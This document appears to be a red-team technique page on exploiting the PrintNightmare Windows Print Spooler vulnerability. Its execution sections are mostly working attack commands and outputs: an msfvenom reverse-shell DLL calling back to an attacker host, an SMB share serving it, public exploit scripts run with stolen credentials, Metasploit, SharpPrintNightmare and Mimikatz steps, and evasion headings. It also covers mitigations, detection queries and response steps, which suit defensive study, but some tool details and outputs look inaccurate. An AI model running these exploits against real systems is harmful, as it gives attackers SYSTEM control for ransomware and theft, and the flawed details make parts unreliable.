MCADDF

[PE-EXPLOIT-001]: PrintNightmare Remote Privilege Escalation

1. Metadata Header

Attribute Details
Technique ID PE-EXPLOIT-001
MITRE ATT&CK v18.1 T1068 - Exploitation for Privilege Escalation
Tactic Privilege Escalation
Platforms Windows AD/Endpoint (Server 2016-2022, Windows 10 versions 1507-22H2, Windows 11 21H2-22H2)
Severity Critical
CVE CVE-2021-34527 (Primary), CVE-2021-1675 (Related)
Technique Status ACTIVE (unpatched systems) / FIXED (patched systems)
Last Verified 2025-01-09
Affected Versions Server 2016, 2019, 2022; Windows 10 all versions; Windows 11 all versions
Patched In June 8, 2021 (initial); August 3, 2021 (complete remediation); Monthly patches thereafter
Author SERVTEPArtur Pchelnikau

2. Executive Summary

Concept: PrintNightmare (CVE-2021-34527) is a critical remote code execution (RCE) and local privilege escalation (LPE) vulnerability in the Windows Print Spooler service (spoolsv.exe). The vulnerability exploits improper privilege checks in the RpcAddPrinterDriver and RpcAsyncAddPrinterDriver RPC calls (MS-RPRN and MS-PAR protocols). An attacker with valid domain credentials (even low-privilege accounts) can remotely trigger the Print Spooler service to load and execute a malicious DLL from an SMB share, resulting in SYSTEM-level code execution. The malicious driver is loaded within the context of spoolsv.exe, which runs with SYSTEM privileges, bypassing standard access controls.

Attack Surface: The attack targets the Print Spooler RPC interface exposed on port 135 (RPC Endpoint Mapper) and 445 (SMB). The vulnerable functions accept a UNC path to a malicious DLL without proper validation. Any domain user—even those with minimal privileges—can invoke these RPC calls. The attack requires: (1) valid domain credentials, (2) network access to port 135/445, (3) an SMB share to host the malicious DLL (can be attacker-controlled or existing network shares).

Business Impact: Complete System Compromise with SYSTEM Privileges. Successful exploitation allows immediate execution of arbitrary code as SYSTEM on any accessible Windows system. This enables attackers to deploy ransomware, establish persistence, harvest credentials, conduct lateral movement, or exfiltrate sensitive data. PrintNightmare was actively exploited in the wild by ransomware operators (Vice Society, LockBit, etc.) and APT groups before patches were released. Organizations using unpatched systems remain at critical risk.

Technical Context: Exploitation typically takes 5-15 seconds from initial RPC connection to SYSTEM shell launch. Detection likelihood is high if PrintService event logs are enabled (Event ID 316, 808); however, many organizations do not enable these logs by default. The technique is highly reliable and requires minimal user interaction—no user action is needed on the target system.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 5.2.2 - Ensure Print Spooler Service is Disabled CIS recommends disabling Print Spooler if not needed
DISA STIG WN10-00-000185 Windows 10 STIG - Print Spooler Service Management
CISA SCuBA CSO-09 - Audit and Detect Threats Print Spooler monitoring and anomaly detection
NIST 800-53 AC-3, AU-12, SI-4 Access enforcement, audit generation, information system monitoring
GDPR Art. 32 - Security of Processing Technical security measures; Art. 33 - Breach notification within 72 hours
DORA Art. 9 - Protection and Prevention ICT systems must detect and prevent attacks in real time
NIS2 Art. 21 - Cyber Risk Management Mandatory detection and reporting of exploitation attempts
ISO 27001 A.12.4.1, A.12.6.1 Event logging of changes to software/systems; vulnerability management
ISO 27005 Risk Scenario: “RPC Service Exploitation” Risk assessment for remote service vulnerabilities

3. Technical Prerequisites

Required Privileges: Domain User (any authenticated user with minimal privileges). No administrative rights needed to invoke RPC calls.

Required Access:

Supported Versions:

Tools:


4. Environmental Reconnaissance

Management Station / RPC Service Discovery

Verify if the target system has Print Spooler service running and exposed via RPC:

# Check if Print Spooler service is running on target
$Servers = @("SERVER01", "SERVER02", "DC01")
foreach ($Server in $Servers) {
    try {
        $Service = Get-Service -ComputerName $Server -Name Spooler -ErrorAction Stop
        Write-Host "[+] $Server - Print Spooler Status: $($Service.Status)"
    } catch {
        Write-Host "[-] $Server - Could not retrieve Print Spooler status"
    }
}

# Alternative: Check via SMB/RPC connectivity
Test-NetConnection -ComputerName "SERVER01" -Port 135 -InformationLevel Detailed

What to Look For:

Version Note: PrintNightmare affects all Windows versions listed; however, patch dates vary by OS version.

Command (Server 2016-2019):

# WMI-based service check (older systems)
Get-WmiObject -Class Win32_Service -ComputerName "SERVER01" | Where-Object { $_.Name -eq "Spooler" } | Select-Object Name, State

Command (Server 2022+):

# CIM-based service check (faster on newer systems)
Get-CimInstance -ClassName Win32_Service -ComputerName "SERVER01" | Where-Object { $_.Name -eq "Spooler" } | Select-Object Name, State

Linux / Impacket RPC Enumeration

From an attacker’s machine (Linux or WSL), enumerate vulnerable RPC services:

# Install impacket (if not already installed)
pip3 install impacket

# Enumerate RPC endpoints and protocols on target
python3 -m impacket.rpcdump @TARGET_IP | grep -E "MS-RPRN|MS-PAR"

# Expected output if vulnerable:
# Protocol: [MS-RPRN]: Print System Remote Protocol
# Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol

# Alternative: Use rpcdump tool
rpcdump.py @192.168.1.100 | egrep 'MS-RPRN|MS-PAR'

What to Look For:


5. Detailed Execution Methods and Their Steps

METHOD 1: Python-Based Exploitation (Impacket / Cube0x0 PoC)

Supported Versions: Server 2016-2022, Windows 10 all versions, Windows 11 all versions

Step 1: Prepare Malicious DLL & SMB Share

Objective: Create a malicious DLL that will be hosted on an SMB share and loaded by the Print Spooler service.

Version Note: DLL generation is consistent across versions; however, architecture (x86 vs x64) must match target.

Command (Linux - msfvenom & Impacket):

# Generate malicious DLL using msfvenom
# LHOST = attacker IP, LPORT = reverse shell port
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll > /tmp/rev.dll

# Expected output: Generated payload 'rev.dll' (size will vary)

# Alternatively, use a simpler calc.exe payload for testing
msfvenom -p windows/exec CMD=calc.exe -f dll > /tmp/calc.dll

# Set up SMB share to host the DLL (using impacket smbserver)
# This allows the target to download the DLL via UNC path
sudo python3 -m impacket.smbserver -smb2support share /tmp/

# The share will be accessible as: \\192.168.1.50\share\rev.dll

Expected Output:

[*] Impacket v0.10.0 - Copyright 2023 SecureAuthCorp
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47D034E01A V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Started: 2025-01-09 08:30:42.123456
[*] Incoming connection (192.168.1.100,49152)
[+] User: DOMAIN\USERNAME (Auth: True, Signing: False)

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Execute PrintNightmare Exploit with Valid Credentials

Objective: Invoke the RPC calls to add a malicious printer driver, causing the target to load and execute the DLL with SYSTEM privileges.

Version Note: Exploit command syntax is identical across versions; however, ASLR offsets may differ.

Command (Python - Impacket based PoC):

# Clone the PrintNightmare PoC repository
git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675

# Execute the exploit with valid domain credentials
# Syntax: python3 exploit.py <domain>/<username>:<password>@<target> <DLL_UNC_PATH>
python3 CVE-2021-1675.py "DOMAIN/lowprivuser:Password123@192.168.1.100" "\\\\192.168.1.50\\share\\rev.dll"

# For systems patched with August 2021+ patches, use the "SharpPrintNightmare" variant
# which targets RpcAsyncAddPrinterDriver instead of RpcAddPrinterDriver:
python3 CVE-2021-1675.py -console "DOMAIN/lowprivuser:Password123@192.168.1.100" "\\\\192.168.1.50\\share\\rev.dll"

Expected Output (Successful):

[*] Targeting \\192.168.1.100
[*] Binding to \\192.168.1.100\pipe\spoolss ...
[*] Calling RpcAddPrinterDriver() with malicious driver DLL...
[+] Exploit completed successfully!
[+] Malicious driver loaded - reverse shell should connect back...

Expected Output (Already Patched):

[-] RpcAddPrinterDriver() call failed - Status: 5 (Access Denied)
[*] Attempting RpcAsyncAddPrinterDriver() as fallback...
[-] RpcAsyncAddPrinterDriver() also failed
[-] Target system appears to be patched

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Catch Reverse Shell & Execute Payloads

Objective: Set up a listener to receive the reverse shell connection from the compromised system.

Command (Metasploit - Handler):

# Start Metasploit console
msfconsole

# Within msfconsole, set up multi/handler to catch reverse shell
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run -j

# [*] Exploit running as background job 0.
# [*] Started reverse TCP handler on 192.168.1.50:4444

# Once the reverse shell connects:
# [*] Sending stage (201798 bytes) to 192.168.1.100
# [*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49152) at 2025-01-09 08:35:42 +0000

Expected Output (Reverse Shell Connection):

meterpreter > whoami
nt authority\system

meterpreter > getuid
Server username: DOMAIN\COMPUTERNAME$

meterpreter > sysinfo
Computer        : COMPUTERNAME
OS              : Windows Server 2019 6.3 (Build 17763)
Architecture    : x64
System Language : en_US

What This Means:

OpSec & Evasion:

References & Proofs:


METHOD 2: C# Exploitation (SharpPrintNightmare) - Windows-Native Execution

Supported Versions: Server 2016-2022, Windows 10 all versions, Windows 11 all versions

Step 1: Compile & Deploy SharpPrintNightmare

Objective: Compile the C# version of PrintNightmare for execution directly on a Windows system (avoiding dependency on Python/Impacket).

Version Note: Compilation is identical across versions; execution works on all vulnerable Windows systems.

Command (Visual Studio / csc.exe):

// Pseudocode for SharpPrintNightmare compilation
// In practice, clone from GitHub and compile:

// Clone the repository
git clone https://github.com/rogue7/SharpPrintNightmare.git
cd SharpPrintNightmare

// Compile using Visual Studio or command-line compiler
csc.exe /target:exe /out:SharpPrintNightmare.exe *.cs

// Or use msbuild if Visual Studio is installed
msbuild SharpPrintNightmare.sln /p:Configuration=Release

Expected Output:

Microsoft (R) Visual C# Compiler version 3.9.0-6.21124.20 (9fb42ed4)
Copyright (C) Microsoft Corporation. All rights reserved.

SharpPrintNightmare.exe compiled successfully.

What This Means:

OpSec & Evasion:

Step 2: Execute SharpPrintNightmare on Windows System

Objective: Run the compiled C# exploit from a Windows system with network access to the target.

Command (Windows Command Prompt / PowerShell):

# Syntax: SharpPrintNightmare.exe <SMB_UNC_PATH> <TARGET> <DOMAIN> <USERNAME> <PASSWORD>

SharpPrintNightmare.exe \\192.168.1.50\share\calc.dll \\192.168.1.100 DOMAIN lowprivuser Password123

# Expected output on success:
# [+] Exploit completed successfully!
# [+] Reverse shell should connect back to attacker...

Expected Output (Successful):

[*] Targeting: \\192.168.1.100
[*] DLL Path: \\192.168.1.50\share\calc.dll
[*] Authenticating with DOMAIN\lowprivuser...
[+] Successfully connected to Print Spooler RPC service
[+] Malicious driver loaded - code execution achieved with SYSTEM privileges!

What This Means:

References & Proofs:


METHOD 3: Mimikatz Integration (misc::printnightmare)

Supported Versions: Server 2016-2022, Windows 10 all versions, Windows 11 all versions

Step 1: Execute PrintNightmare via Mimikatz

Objective: Leverage Mimikatz’s built-in PrintNightmare module to execute the exploit without external tool dependencies.

Command (Mimikatz):

# Launch Mimikatz
mimikatz.exe

# Execute PrintNightmare module (requires Mimikatz v2.2.0.20210601+)
mimikatz # misc::printnightmare /target:192.168.1.100 /share:\\192.168.1.50\share\calc.dll /user:DOMAIN\lowprivuser /pass:Password123

# Expected output:
# [*] Target: 192.168.1.100
# [*] Executing PrintNightmare via MS-RPRN RPC...
# [+] Exploit completed!

Expected Output (Successful):

[+] Successfully added malicious printer driver
[+] Driver loaded with SYSTEM privileges
[+] Malicious DLL executed (if payload-based)

What This Means:

OpSec & Evasion:

References & Proofs:


6. Post-Exploitation & Verification

Verify Successful Exploitation

# After reverse shell connection, verify SYSTEM context
whoami  # Should output: nt authority\system

# Check installed printer driver (will show our malicious driver)
Get-PrinterDriver | Where-Object { $_.Name -like "*QMS*" -or $_.Name -like "*Malic*" }

# List recent print spooler events (shows exploitation artifacts)
Get-WinEvent -LogName "Microsoft-Windows-PrintService/Operational" -MaxEvents 10 | Select-Object TimeCreated, Id, Message

7. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Network Hardening

Validation Command (Verify Mitigation)

# Verify patches are installed
$Patches = Get-HotFix | Where-Object { $_.HotFixID -match "KB5004010|KB5004475|KB5008212" }
Write-Host "CLFS/PrintNightmare patches installed: $($Patches.Count)"

# Verify Print Spooler service status
$SpoolerStatus = Get-Service -Name Spooler | Select-Object Status, StartType
Write-Host "Print Spooler Status: $($SpoolerStatus.Status), StartType: $($SpoolerStatus.StartType)"

# Expected output if secure:
# CLFS/PrintNightmare patches installed: 3+
# Print Spooler Status: Stopped, StartType: Disabled

8. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Detection Queries

Microsoft Sentinel KQL Query:

// Detect PrintNightmare exploitation attempt
// Looks for printer driver addition events (Event ID 316) combined with SMB anomalies
SecurityEvent
| where EventID == 316  // Printer driver added
| where SourceIP has "." and SourceIP !startswith "10." and SourceIP !startswith "172."  // External source
| join (
    SecurityEvent
    | where EventID == 31017  // SMB client security event (malicious share access)
) on Computer, TimeGenerated
| summarize count() by Computer, TimeGenerated, UserName, SourceIP

Splunk Query:

source="WinEventLog:Microsoft-Windows-PrintService/Operational" EventCode=316 category="Adding a printer driver"
| stats count min(_time) as firstTime max(_time) as lastTime by host, user, Message
| where count > 1

Windows Event Log Monitoring:

Enable and monitor:

Manual Configuration (Group Policy):

  1. Open gpmc.msc
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Enable:
    • Audit Object Access (Success and Failure)
    • Audit Process Creation (Success and Failure)
  4. Run gpupdate /force

Response Procedures

  1. Isolate: Immediately disconnect the affected system from the network to prevent lateral movement
    Disable-NetAdapter -Name "Ethernet" -Confirm:$false
    
  2. Collect Evidence:
    # Export PrintService event logs
    wevtutil epl "Microsoft-Windows-PrintService/Operational" C:\Evidence\PrintService_Operational.evtx
    wevtutil epl "Microsoft-Windows-PrintService/Admin" C:\Evidence\PrintService_Admin.evtx
       
    # Export security event log
    wevtutil epl Security C:\Evidence\Security.evtx
       
    # Dump spoolsv.exe memory (requires procdump or similar)
    # procdump64.exe -ma spoolsv.exe C:\Evidence\spoolsv.dmp
       
    # List running processes
    Get-Process | Export-Csv C:\Evidence\Processes.csv
    
  3. Remediate:
    # Kill Print Spooler service
    Stop-Service -Name Spooler -Force
       
    # Remove malicious driver files
    Remove-Item "C:\Windows\System32\spool\drivers\x64\3\*.dll" -Force -ErrorAction SilentlyContinue
       
    # Remove registry entries for malicious drivers
    # Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments" -Recurse | Where-Object { ... } | Remove-Item
       
    # Restart system to ensure clean state
    Restart-Computer -Force
    

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker gains initial domain user credentials
2 Credential Access [CA-BRUTE-001] Azure Portal Password Spray (Optional) If cloud-connected; spray to obtain valid account
3 Privilege Escalation [PE-EXPLOIT-001] PrintNightmare RCE/LPE - Current Technique
4 Credential Dumping [CA-DUMP-001] Mimikatz LSASS Extraction Extract additional credentials with SYSTEM context
5 Lateral Movement [CA-KERB-001] Kerberoasting Generate service tickets for lateral movement
6 Persistence [PE-ACCTMGMT-014] Global Admin Backdoor Establish hidden admin account for continued access
7 Impact [IMPACT-RANSOM-001] Ransomware Deployment Deploy encryption with SYSTEM privileges

10. Real-World Examples

Example 1: Vice Society Ransomware Campaign (August 2021)

Example 2: LockBit Ransomware Exploitation (September 2021)

Example 3: Opportunistic Exploitation Wave (June-August 2021)


11. Summary

PrintNightmare (CVE-2021-34527) represents one of the most critical privilege escalation vulnerabilities discovered in Windows in recent years. By exploiting improper validation in the Print Spooler RPC service, attackers with minimal privileges can achieve immediate SYSTEM-level code execution on any connected Windows system. Organizations must prioritize patching and implement PrintService event log monitoring to detect and prevent active exploitation. The technique remains ACTIVE on unpatched systems and continues to be exploited by ransomware operators and APT groups globally.